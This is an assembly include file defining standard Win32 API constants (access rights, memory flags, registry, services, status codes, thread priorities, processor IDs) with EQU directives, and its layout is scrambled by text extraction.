ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ $ ;ÍÍÍÍÍ͵ EQUATES ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÄÄÄÄÄÄ´ GENERAL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ UCHAR USHORT UINT ULONG L MAXCHAR MAXSHORT MAXINT MAXLONG NULL TRUE FALSE NOPARITY ODDPARITY EVENPARITY MARKPARITY SPACEPARITY IGNORE INFINITE EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU <db> <dw> <dd> <dd> <LARGE> 255 32767 2147483647 4924967295 00h 01h 00h 00h 01h 02h 03h 04h 00h 0FFFFFFFFh

;ÄÄÄÄÄÄ´ DRIVES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DRIVE_UNKNOWN DRIVE_NO_ROOT_DIR DRIVE_REMOVABLE DRIVE_FIXED DRIVE_REMOTE DRIVE_CDROM DRIVE_RAMDISK EQU EQU EQU EQU EQU EQU EQU 0 1 2 3 4 5 6

;ÄÄÄÄÄÄ´ DIFFERENT RIGHTS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DELETE READ_CONTROL WRITE_DAC WRITE_OWNER SYNCHRONIZE STANDARD_RIGHTS_REQUIRED STANDARD_RIGHTS_READ STANDARD_RIGHTS_WRITE STANDARD_RIGHTS_EXECUTE STANDARD_RIGHTS_ALL SPECIFIC_RIGHTS_ALL ACCESS_SYSTEM_SECURITY MAXIMUM_ALLOWED GENERIC_READ GENERIC_WRITE GENERIC_EXECUTE GENERIC_ALL PROCESS_TERMINATE EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00010000h 00020000h 00040000h 00080000h 00100000h 000F0000h READ_CONTROL READ_CONTROL READ_CONTROL 001F0000h 0000FFFFh 01000000h 02000000h 80000000h 40000000h 20000000h 10000000h 0001h

PROCESS_CREATE_THREAD PROCESS_SET_SESSIONID PROCESS_VM_OPERATION PROCESS_VM_READ PROCESS_VM_WRITE PROCESS_DUP_HANDLE PROCESS_CREATE_PROCESS PROCESS_SET_QUOTA PROCESS_SET_INFORMATION PROCESS_QUERY_INFORMATION PROCESS_ALL_ACCESS

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

0002h 0004h 0008h 0010h 0020h 0040h 0080h 0100h 0200h 0400h STANDARD_RIGHTS_REQUIRED OR \ SYNCHRONIZE OR 0FFFh 0001h 0002h 0004h 0008h 0010h STANDARD_RIGHTS_REQUIRED SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_MAP_EXECUTE SECTION_EXTEND_SIZE

SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_MAP_EXECUTE SECTION_EXTEND_SIZE SECTION_ALL_ACCESS

EQU EQU EQU EQU EQU EQU

OR OR OR OR OR

\ \ \ \ \

;ÄÄÄÄÄÄ´ ACCESS FLAGS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PAGE_NOACCESS PAGE_READONLY PAGE_READWRITE PAGE_WRITECOPY PAGE_EXECUTE PAGE_EXECUTE_READ PAGE_EXECUTE_READWRITE PAGE_EXECUTE_WRITECOPY PAGE_GUARD PAGE_NOCACHE PAGE_WRITECOMBINE MEM_COMMIT MEM_RESERVE MEM_DECOMMIT MEM_RELEASE MEM_FREE MEM_PRIVATE MEM_MAPPED MEM_RESET MEM_TOP_DOWN MEM_WRITE_WATCH MEM_4MB_PAGES SEC_FILE SEC_IMAGE SEC_VLM SEC_RESERVE SEC_COMMIT SEC_NOCACHE MEM_IMAGE EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 01h 02h 04h 08h 10h 20h 40h 80h 100h 200h 400h 1000h 2000h 4000h 8000h 10000h 20000h 40000h 80000h 100000h 200000h 80000000h 00800000h 01000000h 02000000h 04000000h 08000000h 10000000h SEC_IMAGE

;ÄÄÄÄÄÄ´ CONTEXT ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CONTEXT_i386 CONTEXT_i486 EQU 00010000h EQU 00010000h

CONTEXT_CONTROL CONTEXT_INTEGER CONTEXT_SEGMENTS CONTEXT_FLOATING_POINT CONTEXT_DEBUG_REGISTERS CONTEXT_EXTENDED_REGISTERS CONTEXT_FULL

EQU EQU EQU EQU EQU EQU EQU

CONTEXT_i386 OR 00000001h CONTEXT_i386 OR 00000002h CONTEXT_i386 OR 00000004h CONTEXT_i386 OR 00000008h CONTEXT_i386 OR 00000010h CONTEXT_i386 OR 00000020h CONTEXT_CONTROL OR CONTEXT_INTEGER OR \ CONTEXT_SEGMENTS

;ÄÄÄÄÄÄ´ SEF ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SEF_DACL_AUTO_INHERIT SEF_SACL_AUTO_INHERIT SEF_DEFAULT_DESCRIPTOR_FOR_OBJECT SEF_AVOID_PRIVILEGE_CHECK SEF_AVOID_OWNER_CHECK SEF_DEFAULT_OWNER_FROM_PARENT SEF_DEFAULT_GROUP_FROM_PARENT WT_EXECUTEDEFAULT WT_EXECUTEINIOTHREAD WT_EXECUTEINUITHREAD WT_EXECUTEINWAITTHREAD WT_EXECUTEDELETEWAIT WT_EXECUTEINLONGTHREAD EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 01h 02h 04h 08h 10h 20h 40h 00000000h 00000001h 00000002h 00000004h 00000008h 00000010h

;ÄÄÄÄÄÄ´ DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DLL_PROCESS_ATTACH DLL_THREAD_ATTACH DLL_THREAD_DETACH DLL_PROCESS_DETACH DONT_RESOLVE_DLL_REFERENCES LOAD_LIBRARY_AS_DATAFILE LOAD_WITH_ALTERED_SEARCH_PATH DDD_RAW_TARGET_PATH DDD_REMOVE_DEFINITION DDD_EXACT_MATCH_ON_REMOVE DDD_NO_BROADCAST_SYSTEM EQU EQU EQU EQU 1 2 3 0

EQU 00000001h EQU 00000002h EQU 00000008h EQU EQU EQU EQU 00000001h 00000002h 00000004h 00000008h

;ÄÄÄÄÄÄ´ TERMINATION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TC_NORMAL TC_HARDERR TC_GP_TRAP TC_SIGNAL EQU EQU EQU EQU 0 1 2 3

;ÄÄÄÄÄÄ´ EVENTS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ EVENTLOG_SEQUENTIAL_READ EVENTLOG_SEEK_READ EVENTLOG_FORWARDS_READ EVENTLOG_BACKWARDS_READ EVENTLOG_SUCCESS EVENTLOG_ERROR_TYPE EVENTLOG_WARNING_TYPE EVENTLOG_INFORMATION_TYPE EVENTLOG_AUDIT_SUCCESS EVENTLOG_AUDIT_FAILURE EVENTLOG_START_PAIRED_EVENT EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 0001h 0002h 0004h 0008h 0000h 0001h 0002h 0004h 0008h 0010h

EQU 0001h

EVENTLOG_END_PAIRED_EVENT EVENTLOG_END_ALL_PAIRED_EVENTS EVENTLOG_PAIRED_EVENT_ACTIVE EVENTLOG_PAIRED_EVENT_INACTIVE

EQU EQU EQU EQU

0002h 0004h 0008h 0010h

;ÄÄÄÄÄÄ´ DEBUG EVENTS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ EXCEPTION_DEBUG_EVENT CREATE_THREAD_DEBUG_EVENT CREATE_PROCESS_DEBUG_EVENT EXIT_THREAD_DEBUG_EVENT EXIT_PROCESS_DEBUG_EVENT LOAD_DLL_DEBUG_EVENT UNLOAD_DLL_DEBUG_EVENT OUTPUT_DEBUG_STRING_EVENT RIP_EVENT EQU EQU EQU EQU EQU EQU EQU EQU EQU 1 2 3 4 5 6 7 8 9

;ÄÄÄÄÄÄ´ DEBUG ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DBG_CONTINUE DBG_TERMINATE_THREAD DBG_TERMINATE_PROCESS DBG_CONTROL_C DBG_CONTROL_BREAK DBG_EXCEPTION_NOT_HANDLED EQU EQU EQU EQU EQU EQU 00010002h 40010003h 40010004h 40010005h 40010008h 80010001h

;ÄÄÄÄÄÄ´ REGISTRY ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Used when accessing the Windows Registry HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_PERFORMANCE_DATA HKEY_CURRENT_CONFIG HKEY_DYN_DATA KEY_QUERY_VALUE KEY_SET_VALUE KEY_CREATE_SUB_KEY KEY_ENUMERATE_SUB_KEYS KEY_NOTIFY KEY_CREATE_LINK KEY_READ EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 80000000h 80000001h 80000002h 80000003h 80000004h 80000005h 80000006h 0001h 0002h 0004h 0008h 0010h 0020h OR\ OR\ OR\ AND\

EQU (STANDARD_RIGHTS_READ KEY_QUERY_VALUE KEY_ENUMERATE_SUB_KEYS KEY_NOTIFY) (NOT SYNCHRONIZE) EQU (STANDARD_RIGHTS_WRITE KEY_SET_VALUE KEY_CREATE_SUB_KEY) (NOT SYNCHRONIZE) EQU KEY_READ AND SYNCHRONIZE EQU (STANDARD_RIGHTS_ALL KEY_QUERY_VALUE KEY_SET_VALUE KEY_CREATE_SUB_KEY KEY_ENUMERATE_SUB_KEYS

KEY_WRITE

OR\ OR\ AND\

KEY_EXECUTE KEY_ALL_ACCESS

OR\ OR\ OR\ OR\ OR\

KEY_NOTIFY KEY_CREATE_LINK) (NOT SYNCHRONIZE)

OR\ AND\

REG_OPTION_NON_VOLATILE REG_OPTION_VOLATILE REG_OPTION_CREATE_LINK REG_OPTION_BACKUP_RESTORE rules privilege required REG_OPTION_OPEN_LINK REG_OPTION_RESERVED REG_LEGAL_OPTION

EQU EQU EQU EQU EQU EQU EQU

00000000h 00000001h 00000002h 00000004h

; ; ; ;

Key is preserved when system is rebooted Key is not preserved when system is rebooted Created key is a symbolic link open for backup or restore special access

00000008h ; Open symbolic link 00000000h ; REG_OPTION_RESERVED OR\ REG_OPTION_NON_VOLATILE OR\ REG_OPTION_VOLATILE OR\ REG_OPTION_CREATE_LINK OR\ REG_OPTION_BACKUP_RESTORE OR\ REG_OPTION_OPEN_LINK EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00000001h ; New Registry Key created 00000002h ; Existing Key opened 00000001h ; Restore whole hive volatile 00000002h ; Unwind changes to last flush 00000004h ; Never lazy flush this hive 00000001h ; Create or delete (child) 00000002h ; 00000004h ; time stamp 00000008h ; REG_NOTIFY_CHANGE_NAME OR\ REG_NOTIFY_CHANGE_ATTRIBUTES OR\ REG_NOTIFY_CHANGE_LAST_SET OR\ REG_NOTIFY_CHANGE_SECURITY ; ; ; ; ; ; ; ; ; ; ; ; No value type Unicode nul terminated string Unicode nul terminated string Free form binary 32-bit number 32-bit number (same as REG_DWORD) 32-bit number Symbolic Link (unicode) Multiple Unicode strings Resource list in the resource map Resource list in the hardware description

REG_CREATED_NEW_KEY REG_OPENED_EXISTING_KEY REG_WHOLE_HIVE_VOLATILE REG_REFRESH_HIVE REG_NO_LAZY_FLUSH REG_NOTIFY_CHANGE_NAME REG_NOTIFY_CHANGE_ATTRIBUTES REG_NOTIFY_CHANGE_LAST_SET REG_NOTIFY_CHANGE_SECURITY REG_LEGAL_CHANGE_FILTER

REG_NONE REG_SZ REG_EXPAND_SZ REG_BINARY REG_DWORD REG_DWORD_LITTLE_ENDIAN REG_DWORD_BIG_ENDIAN REG_LINK REG_MULTI_SZ REG_RESOURCE_LIST REG_FULL_RESOURCE_DESCRIPTOR REG_RESOURCE_REQUIREMENTS_LIST

EQU 0 EQU 1 EQU 2 EQU 3 EQU 4 EQU 4 EQU 5 EQU 6 EQU 7 EQU 8 EQU 9 EQU 10

;ÄÄÄÄÄÄ´ SERVICES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SERVICE_KERNEL_DRIVER SERVICE_FILE_SYSTEM_DRIVER SERVICE_ADAPTER SERVICE_RECOGNIZER_DRIVER SERVICE_DRIVER EQU EQU EQU EQU EQU 00000001h 00000002h 00000004h 00000008h SERVICE_KERNEL_DRIVER OR\ SERVICE_FILE_SYSTEM_DRIVER OR\ SERVICE_RECOGNIZER_DRIVER 00000010h 00000020h SERVICE_WIN32_OWN_PROCESS OR\ SERVICE_WIN32_SHARE_PROCESS 00000100h

SERVICE_WIN32_OWN_PROCESS SERVICE_WIN32_SHARE_PROCESS SERVICE_WIN32

EQU EQU EQU

SERVICE_INTERACTIVE_PROCESS

EQU

SERVICE_TYPE_ALL

EQU

SERVICE_WIN32 OR \ SERVICE_ADAPTER OR \ SERVICE_DRIVER OR \ SERVICE_INTERACTIVE_PROCESS 00000000h 00000001h 00000002h 00000003h 00000004h 00000000h 00000001h 00000002h 00000003h

SERVICE_BOOT_START SERVICE_SYSTEM_START SERVICE_AUTO_START SERVICE_DEMAND_START SERVICE_DISABLED SERVICE_ERROR_IGNORE SERVICE_ERROR_NORMAL SERVICE_ERROR_SEVERE SERVICE_ERROR_CRITICAL

EQU EQU EQU EQU EQU EQU EQU EQU EQU

;ÄÄÄÄÄÄ´ WAIT ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ WAIT_FAILED EQU WAIT_OBJECT_0 EQU WAIT_ABANDONED EQU WAIT_ABANDONED_0 EQU WAIT_IO_COMPLETION EQU STILL_ACTIVE EQU CONTROL_C_EXIT EQU PROGRESS_CONTINUE EQU PROGRESS_CANCEL EQU PROGRESS_STOP EQU PROGRESS_QUIET EQU CALLBACK_CHUNK_FINISHED CALLBACK_STREAM_SWITCH 0FFFFFFFFh STATUS_WAIT_0 STATUS_ABANDONED_WAIT_0 STATUS_ABANDONED_WAIT_0 STATUS_USER_APC STATUS_PENDING STATUS_CONTROL_C_EXIT 0 1 2 3 EQU 00000000h EQU 00000001h

;ÄÄÄÄÄÄ´ PIPES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PIPE_ACCESS_INBOUND PIPE_ACCESS_OUTBOUND PIPE_ACCESS_DUPLEX PIPE_CLIENT_END PIPE_SERVER_END PIPE_WAIT PIPE_NOWAIT PIPE_READMODE_BYTE PIPE_READMODE_MESSAGE PIPE_TYPE_BYTE PIPE_TYPE_MESSAGE PIPE_UNLIMITED_INSTANCES EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00000001h 00000002h 00000003h 00000000h 00000001h 00000000h 00000001h 00000000h 00000002h 00000000h 00000004h 255

;ÄÄÄÄÄÄ´ SECURITY ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SECURITY_CONTEXT_TRACKING SECURITY_EFFECTIVE_ONLY SECURITY_SQOS_PRESENT SECURITY_VALID_SQOS_FLAGS EQU EQU EQU EQU 00040000h 00080000h 00100000h 001F0000h

;ÄÄÄÄÄÄ´ HEAP ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ HEAP_NO_SERIALIZE HEAP_GROWABLE HEAP_GENERATE_EXCEPTIONS HEAP_ZERO_MEMORY HEAP_REALLOC_IN_PLACE_ONLY HEAP_TAIL_CHECKING_ENABLED HEAP_FREE_CHECKING_ENABLED EQU EQU EQU EQU EQU EQU EQU 00000001h 00000002h 00000004h 00000008h 00000010h 00000020h 00000040h

HEAP_DISABLE_COALESCE_ON_FREE HEAP_CREATE_ALIGN_16 HEAP_CREATE_ENABLE_TRACING HEAP_MAXIMUM_TAG HEAP_PSEUDO_TAG_FLAG HEAP_TAG_SHIFT

EQU EQU EQU EQU EQU EQU

00000080h 00010000h 00020000h 0FFFh 8000h 18h

;ÄÄÄÄÄÄ´ UNICODE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IS_TEXT_UNICODE_ASCII16 IS_TEXT_UNICODE_REVERSE_ASCII16 IS_TEXT_UNICODE_STATISTICS IS_TEXT_UNICODE_REVERSE_STATISTICS IS_TEXT_UNICODE_CONTROLS IS_TEXT_UNICODE_REVERSE_CONTROLS IS_TEXT_UNICODE_SIGNATURE IS_TEXT_UNICODE_REVERSE_SIGNATURE IS_TEXT_UNICODE_ILLEGAL_CHARS IS_TEXT_UNICODE_ODD_LENGTH IS_TEXT_UNICODE_DBCS_LEADBYTE IS_TEXT_UNICODE_NULL_BYTES IS_TEXT_UNICODE_UNICODE_MASK IS_TEXT_UNICODE_REVERSE_MASK IS_TEXT_UNICODE_NOT_UNICODE_MASK IS_TEXT_UNICODE_NOT_ASCII_MASK EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 0001h 0010h 0002h 0020h 0004h 0040h 0008h 0080h 0100h 0200h 0400h 1000h 000Fh 00F0h 0F00h F000h

;ÄÄÄÄÄÄ´ COMPRESSION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ COMPRESSION_FORMAT_NONE COMPRESSION_FORMAT_DEFAULT COMPRESSION_FORMAT_LZNT1 COMPRESSION_ENGINE_STANDARD COMPRESSION_ENGINE_MAXIMUM EQU EQU EQU EQU EQU 0000h 0001h 0002h 0000h 0100h

;ÄÄÄÄÄÄ´ MAXIMUMS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MAXLOGICALLOGNAMESIZE MAXIMUM_SUPPORTED_EXTENSION MAXIMUM_WAIT_OBJECTS MAXIMUM_SUSPEND_COUNT MAXIMUM_PROCESSORS SIZE_OF_80387_REGISTERS MAX_PATH EQU EQU EQU EQU EQU EQU EQU 256 512 64 MAXCHAR 32 80 260

;ÄÄÄÄÄÄ´ STATUS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STATUS_WAIT_0 STATUS_ABANDONED_WAIT_0 STATUS_USER_APC STATUS_TIMEOUT STATUS_PENDING STATUS_SEGMENT_NOTIFICATION STATUS_GUARD_PAGE_VIOLATION STATUS_DATATYPE_MISALIGNMENT STATUS_BREAKPOINT STATUS_SINGLE_STEP STATUS_ACCESS_VIOLATION STATUS_IN_PAGE_ERROR STATUS_INVALID_HANDLE STATUS_NO_MEMORY STATUS_ILLEGAL_INSTRUCTION STATUS_NONCONTINUABLE_EXCEPTION STATUS_INVALID_DISPOSITION EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 000000000h 000000080h 0000000C0h 000000102h 000000103h 040000005h 080000001h 080000002h 080000003h 080000004h 0C0000005h 0C0000006h 0C0000008h 0C0000017h 0C000001Dh 0C0000025h 0C0000026h

STATUS_ARRAY_BOUNDS_EXCEEDED STATUS_FLOAT_DENORMAL_OPERAND STATUS_FLOAT_DIVIDE_BY_ZERO STATUS_FLOAT_INEXACT_RESULT STATUS_FLOAT_INVALID_OPERATION STATUS_FLOAT_OVERFLOW STATUS_FLOAT_STACK_CHECK STATUS_FLOAT_UNDERFLOW STATUS_INTEGER_DIVIDE_BY_ZERO STATUS_INTEGER_OVERFLOW STATUS_PRIVILEGED_INSTRUCTION STATUS_STACK_OVERFLOW STATUS_CONTROL_C_EXIT STATUS_FLOAT_MULTIPLE_FAULTS STATUS_FLOAT_MULTIPLE_TRAPS STATUS_ILLEGAL_VLM_REFERENCE STATUS_REG_NAT_CONSUMPTION

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

0C000008Ch 0C000008Dh 0C000008Eh 0C000008Fh 0C0000090h 0C0000091h 0C0000092h 0C0000093h 0C0000094h 0C0000095h 0C0000096h 0C00000FDh 0C000013Ah 0C00002B4h 0C00002B5h 0C00002C0h 0C00002C9h

;ÄÄÄÄÄÄ´ THREADS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ THREAD_TERMINATE THREAD_SUSPEND_RESUME THREAD_GET_CONTEXT THREAD_SET_CONTEXT THREAD_SET_INFORMATION THREAD_QUERY_INFORMATION THREAD_SET_THREAD_TOKEN THREAD_IMPERSONATE THREAD_DIRECT_IMPERSONATION THREAD_ALL_ACCESS EQU 0001h EQU 0002h EQU 0008h EQU 0010h EQU 0020h EQU 0040h EQU 0080h EQU 0100h EQU 0200h EQU STANDARD_RIGHTS_REQUIRED OR\ SYNCHRONIZE OR 3FFh EQU EQU EQU EQU 15 2 -2 -15 EQU EQU EQU EQU EQU EQU ; ; ; ; value that gets a thread to LowRealtime-1 maximum thread base priority boost minimum thread base priority boost value that gets a thread to idle

THREAD_BASE_PRIORITY_LOWRT THREAD_BASE_PRIORITY_MAX THREAD_BASE_PRIORITY_MIN THREAD_BASE_PRIORITY_IDLE THREAD_PRIORITY_LOWEST THREAD_PRIORITY_BELOW_NORMAL THREAD_PRIORITY_NORMAL THREAD_PRIORITY_HIGHEST THREAD_PRIORITY_ABOVE_NORMAL THREAD_PRIORITY_ERROR_RETURN

THREAD_BASE_PRIORITY_MIN THREAD_PRIORITY_LOWEST+1 0 THREAD_BASE_PRIORITY_MAX THREAD_PRIORITY_HIGHEST-1 MAXLONG

THREAD_PRIORITY_TIME_CRITICAL THREAD_PRIORITY_IDLE

EQU THREAD_BASE_PRIORITY_LOWRT EQU THREAD_BASE_PRIORITY_IDLE

;ÄÄÄÄÄÄ´ EVENT, MUTEX, SEMAPHORE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ EVENT_MODIFY_STATE EVENT_ALL_ACCESS MUTANT_QUERY_STATE MUTANT_ALL_ACCESS EQU 0002h EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR 3 EQU 0001h EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR\ MUTANT_QUERY_STATE EQU 0002h EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR 3 EQU MUTANT_QUERY_STATE EQU MUTANT_ALL_ACCESS

SEMAPHORE_MODIFY_STATE SEMAPHORE_ALL_ACCESS MUTEX_MODIFY_STATE MUTEX_ALL_ACCESS

TIMER_QUERY_STATE TIMER_MODIFY_STATE TIMER_ALL_ACCESS

EQU 0001h EQU 0002h EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR\ TIMER_QUERY_STATE OR TIMER_MODIFY_STATE

;ÄÄÄÄÄÄ´ PROCESSOR ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PROCESSOR_INTEL_386 PROCESSOR_INTEL_486 PROCESSOR_INTEL_PENTIUM PROCESSOR_INTEL_IA64 PROCESSOR_MIPS_R4000 PROCESSOR_ALPHA_21064 PROCESSOR_PPC_601 PROCESSOR_PPC_603 PROCESSOR_PPC_604 PROCESSOR_PPC_620 PROCESSOR_HITACHI_SH3 PROCESSOR_HITACHI_SH3E PROCESSOR_HITACHI_SH4 PROCESSOR_MOTOROLA_821 PROCESSOR_SHx_SH3 PROCESSOR_SHx_SH4 PROCESSOR_STRONGARM PROCESSOR_ARM720 PROCESSOR_ARM820 PROCESSOR_ARM920 PROCESSOR_ARM_7TDMI EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 386 486 586 2200 4000 21064 601 603 604 620 10003 10004 10005 821 103 104 2577 1824 2080 2336 70001 EQU EQU EQU EQU EQU EQU EQU EQU EQU

; ; ; ; ; ; ; ; ; ; ;

Windows Windows Windows Windows Windows Windows Windows Windows Windows Windows Windows

CE CE CE CE CE CE CE CE CE CE CE

-

A11 720 820 920

